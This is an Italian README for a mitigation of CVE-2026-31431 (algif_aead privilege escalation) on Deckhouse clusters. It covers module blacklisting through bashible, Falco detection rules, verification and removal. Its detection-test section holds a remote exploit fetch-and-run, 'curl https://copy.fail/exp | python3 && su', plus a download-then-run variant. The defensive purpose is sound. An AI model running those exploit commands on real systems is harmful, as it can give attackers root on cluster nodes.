
Mitigazione nativa Kubernetes di CVE-2026-31431 con blocco automatico dei moduli del kernel, regole di rilevamento runtime Falco e configurazione dei nodi basata su bashible per cluster Deckhouse.
Lingua: English | Русский | Italiano
CVE-2026-31431 è una vulnerabilità nel modulo algif_aead del kernel Linux,
che espone l'API crittografica del kernel allo spazio utente attraverso la
famiglia di socket AF_ALG. Un difetto nell'interfaccia AEAD (Authenticated
Encryption with Associated Data) permette a un utente locale non privilegiato
di causare una corruzione della memoria nel kernel inviando liste scatter-gather
appositamente create, portando a un'escalation dei privilegi locale o a un
denial of service.
La superficie vulnerabile è raggiungibile da qualsiasi processo — inclusi
contenitori non privilegiati — a cui è consentito chiamare
socket(AF_ALG, SOCK_SEQPACKET, 0) e associarlo a un algoritmo di tipo aead.
I runtime dei contenitori che non rimuovono il profilo seccomp predefinito o
che non limitano la famiglia di syscall socket espongono i nodi del cluster
all'attacco.
La mitigazione raccomandata, fino a quando la patch ufficiale del kernel a
monte non verrà distribuita tramite aggiornamenti dei pacchetti del sistema
operativo, è disabilitare il modulo del kernel algif_aead su ogni nodo del
cluster e rilevare i tentativi di sfruttamento in fase di esecuzione.
Questo repository contiene tutto il necessario per mitigare CVE-2026-31431 su un cluster gestito da Deckhouse:
ngc-cve-2026-31431.yaml — mitigazione lato nodoIl NodeGroupConfiguration viene eseguito tramite bashible su ogni nodo ed
esegue quattro passaggi:
AF_ALG e lo associa a aead/gcm(aes) per
determinare se l'interfaccia vulnerabile è raggiungibile sul nodo./etc/modprobe.d/disable-algif.conf con direttive
install che impediscono a algif_aead (e al contenitore af_alg) di
essere caricati nuovamente, sia manualmente sia come dipendenza.rmmod algif_aead se il modulo è attualmente caricato.
Saltato se il modulo è compilato nel kernel (in tal caso si applicano solo
la lista di blocco + il rilevamento runtime).Idempotente: rieseguire la configurazione su un nodo già mitigato è un'operazione neutra.
far-cve-2026-31431.yaml — rilevamento runtimeLa risorsa FalcoAuditRules aggiunge una regola Falco personalizzata che
scatena un evento Critical ogni volta che un processo apre un socket AF_ALG
e lo associa a un algoritmo aead (il pattern di syscall unico di questo
attacco). Emette anche un evento Warning quando un processo tenta di caricare
il modulo algif_aead tramite modprobe/insmod, che su un nodo mitigato
non dovrebbe mai riuscire ed è un forte segnale di un tentativo di sfruttamento
o di una configurazione errata dell'operatore.
Nota sull'edizione:
FalcoAuditRulesè gestito dal moduloruntime-audit-engine, che è disponibile solo in Deckhouse Enterprise Edition (EE) e Certified Security Edition (CSE). Nell'edizione Community la risorsa non verrà elaborata; ilNodeGroupConfigurationdi questo repository si applica comunque ed è la mitigazione principale.
kubectl apply -f ngc-cve-2026-31431.yaml
# EE / CSE solamente:
kubectl apply -f far-cve-2026-31431.yaml
Attendi che la configurazione venga applicata su ogni nodo monitorando lo
stato di ogni NodeGroup. Bashible riporta il successo per ogni passo
all'interno del NodeGroup, e Deckhouse aggrega queste informazioni in due
campi che puoi interrogare:
.status.upToDate — numero di nodi il cui ultimo run bashible ha avuto
successo con la configurazione corrente. La convergenza è raggiunta quando
upToDate == nodes per ogni gruppo..status.conditionSummary.ready — "True" quando il gruppo è sano;
diventa "False" con una ragione in linguaggio naturale in
.status.conditionSummary.statusMessage se un passo bashible di un nodo
fallisce (esattamente ciò che fa il passo di verifica nel
NodeGroupConfiguration su un nodo dove la correzione non può essere
applicata).Una vista istantanea su tutti i gruppi:
kubectl get nodegroups
NAME TYPE READY NODES UPTODATE ... STATUS MESSAGE
master Static 3 3 3
worker Cloud 5 5 5
Un controllo scriptabile che esce 0 solo quando ogni gruppo ha raggiunto la convergenza:
kubectl get nodegroups -o json | jq -e '
.items[]
| select((.status.upToDate // 0) != (.status.nodes // 0)
or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "ancora in convergenza" || echo "tutti i gruppi di nodi convergenti"
Se un NodeGroup è bloccato con conditionSummary.ready == "False", leggi
.status.conditionSummary.statusMessage — mostra il passo bashible che ha
fallito, incluso il passo di verifica di questa mitigazione.
Una volta che il pacchetto del kernel ufficiale contenente la correzione è installato su ogni nodo, rimuovi entrambe le risorse:
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml
La rimozione del NodeGroupConfiguration non elimina automaticamente
/etc/modprobe.d/disable-algif.conf — puliscilo manualmente se vuoi che il
modulo sia di nuovo caricabile, oppure lascia la lista di blocco in posizione
se l'API crittografica del kernel non viene utilizzata da nessun carico di
lavoro sul cluster.
A livello di cluster:
kubectl get nodegroups
UPTODATE dovrebbe essere uguale a NODES e la colonna del messaggio di
stato dovrebbe essere vuota per ogni gruppo.
Su un nodo (SSH o kubectl debug node/<nome> + chroot /host):
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"
Previsto:
cat mostra le quattro righe install / blacklist.lsmod è vuoto.modprobe -n -v stampa install /bin/false.modprobe restituisce exit=1.Utilizza questa sottosezione per convalidare che il FalcoAuditRules
personalizzato per CVE-2026-31431 si attivi effettivamente a ogni esecuzione
del PoC.
Pre-controlli comuni per entrambi gli scenari:
runtime-audit-engine sia sano su tutti i nodi:kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
-o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide
Previsto: DESIRED == READY == AVAILABLE.
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s
# Importante: usa -i così Python riceve lo script da stdin
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
Pulizia:
kubectl delete pod cve-31431-test --ignore-not-found
Avviso di sicurezza: rivedi sempre qualsiasi script scaricato prima dell'esecuzione. Non eseguire script remoti ciecamente in ambienti di produzione.
Consigliato (rivedi prima, poi esegui):
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su
Equivalente one-liner (solo dopo revisione/approvazione):
curl https://copy.fail/exp | python3 && su
Controlla i rilevamenti:
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
| File | Scopo |
|---|
ngc-cve-2026-31431.yaml | NodeGroupConfiguration che sonda l'interfaccia vulnerabile, blocca il caricamento di algif_aead, scarica il modulo se attualmente caricato, e verifica che la correzione sia efficace. Si applica a tutti i bundle e gruppi di nodi. |
far-cve-2026-31431.yaml | FalcoAuditRules che rileva i tentativi di sfruttamento in fase di esecuzione tramite socket AF_ALG associati ad algoritmi AEAD. Disponibile solo in Deckhouse Enterprise Edition (EE) e Certified Security Edition (CSE), poiché il modulo runtime-audit-engine è incluso in quelle edizioni. |